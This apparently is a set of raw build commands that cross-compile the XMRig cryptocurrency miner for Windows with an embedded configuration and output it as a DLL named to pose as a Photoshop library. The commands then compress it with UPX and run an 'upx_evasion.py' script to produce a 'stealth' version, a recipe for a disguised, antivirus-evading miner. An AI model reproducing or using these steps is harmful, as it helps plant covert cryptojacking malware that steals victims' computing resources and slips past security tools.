cmake -G Ninja .. \ -DCMAKE_BUILD_TYPE=Release \ -DCMAKE_SYSTEM_NAME=Windows \ -DCMAKE_C_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang \ -DCMAKE_CXX_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \ -DCMAKE_RC_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-windres \ -DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 \ -DCMAKE_FIND_LIBRARY_SUFFIXES=".a" \ -DWITH_TLS=ON \ -DWITH_EMBEDDED_CONFIG=ON \ -DCMAKE_C_FLAGS="-static -fPIC -mtune=generic -fno-lto -Wno-unused-command-line-argument -D_WIN32_WINNT=0x0601 -D__USE_MINGW_ANSI_STDIO=0" \ -DCMAKE_CXX_FLAGS="-static -fPIC -mtune=generic -fno-lto -Wno-unused-command-line-argument -D_WIN32_WINNT=0x0601 -D__USE_MINGW_ANSI_STDIO=0" \ -DCMAKE_SHARED_LINKER_FLAGS="-static -Wl,-Bstatic -Wl,--whole-archive -lwinpthread -Wl,--no-whole-archive -Wl,--allow-multiple-definition -Wl,--start-group -lmingw32 -lmingwex -lmsvcrt -lkernel32 -luser32 -ladvapi32 -lws2_32 -lpsapi -liphlpapi -luserenv -ldbghelp -lssp -lstdc++ -lstdc++fs -Wl,-lmsvcrt -Wl,-lmingwex -Wl,-lmingw32 -Wl,-lwinpthread -Wl,-lmsvcrt -Wl,-lkernel32 -Wl,-luser32 -Wl,-ladvapi32 -Wl,-lws2_32 -Wl,-lpsapi -Wl,-liphlpapi -Wl,-luserenv -Wl,-ldbghelp -Wl,-lssp -Wl,--end-group" \ -DCMAKE_EXE_LINKER_FLAGS="-static -Wl,-Bstatic -Wl,--whole-archive -lwinpthread -Wl,--no-whole-archive -Wl,--allow-multiple-definition" ninja -j10 upx --best --lzma libphotoshop.dll -o libphotoshop_packed.dll python3 ../upx_evasion.py libphotoshop_packed.dll -o libphotoshop_stealth.dll --keep-relocs && x86_64-w64-mingw32-g++ -o test_xmrig.exe ../test_xmrig.cpp libphotoshop.dll OR for gcc use cmake .. -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release -DCMAKE_C_COMPILER=x86_64-w64-mingw32-gcc -DCMAKE_CXX_COMPILER=x86_64-w64-mingw32-g++ -DWITH_TLS=ON -DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 -DCMAKE_SYSTEM_NAME=Windows -DCMAKE_SYSTEM_PROCESSOR=x86_64 -DWITH_EMBEDDED_CONFIG=ON && make -j $(nproc) OR for CREATING ONE EXE WITHOUT DEPENDENCIES  cmake -G Ninja .. \ -DCMAKE_BUILD_TYPE=Release \ -DCMAKE_SYSTEM_NAME=Windows \ -DCMAKE_C_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang \ -DCMAKE_CXX_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \ -DCMAKE_RC_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-windres \ -DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 \ -DWITH_TLS=ON \ -DWITH_EMBEDDED_CONFIG=ON ninja -j10  x86_64-w64-mingw32-g++ -o test_xmrig.exe ../test_xmrig.cpp libphotoshop.a \ -static -static-libgcc -static-libstdc++ \ $HOME/xmrig-deps/gcc/x64/lib/libssl.a \ $HOME/xmrig-deps/gcc/x64/lib/libcrypto.a \ $HOME/xmrig-deps/gcc/x64/lib/libuv.a \ $HOME/xmrig-deps/gcc/x64/lib/libhwloc.a \ -lpthread -lws2_32 -liphlpapi -lpsapi -luserenv -ldbghelp cmake -G Ninja .. \ -DCMAKE_BUILD_TYPE=Release \ -DCMAKE_SYSTEM_NAME=Windows \ -DCMAKE_C_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang \ -DCMAKE_CXX_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \ -DCMAKE_RC_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-windres \ -DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 \ -DWITH_TLS=ON \ -DWITH_EMBEDDED_CONFIG=ON \ -DCMAKE_C_FLAGS="-fPIC -mtune=generic -fno-lto -D_WIN32_WINNT=0x0601" \ -DCMAKE_CXX_FLAGS="-fPIC -mtune=generic -fno-lto -D_WIN32_WINNT=0x0601" && \ ninja -j (math (nproc) - 2) && \ /opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \ -o test_xmrig.exe \ ../test_xmrig.cpp \ -L. libphotoshop.dll \ -static \ -static-libgcc \ -static-libstdc++ \ -Wl,--whole-archive -lwinpthread -Wl,--no-whole-archive \ -lmsvcrt upx --best --lzma libphotoshop.dll -o libphotoshop_packed.dll python3 ../upx_evasion.py libphotoshop_packed.dll -o libphotoshop_stealth.dll --keep-relocs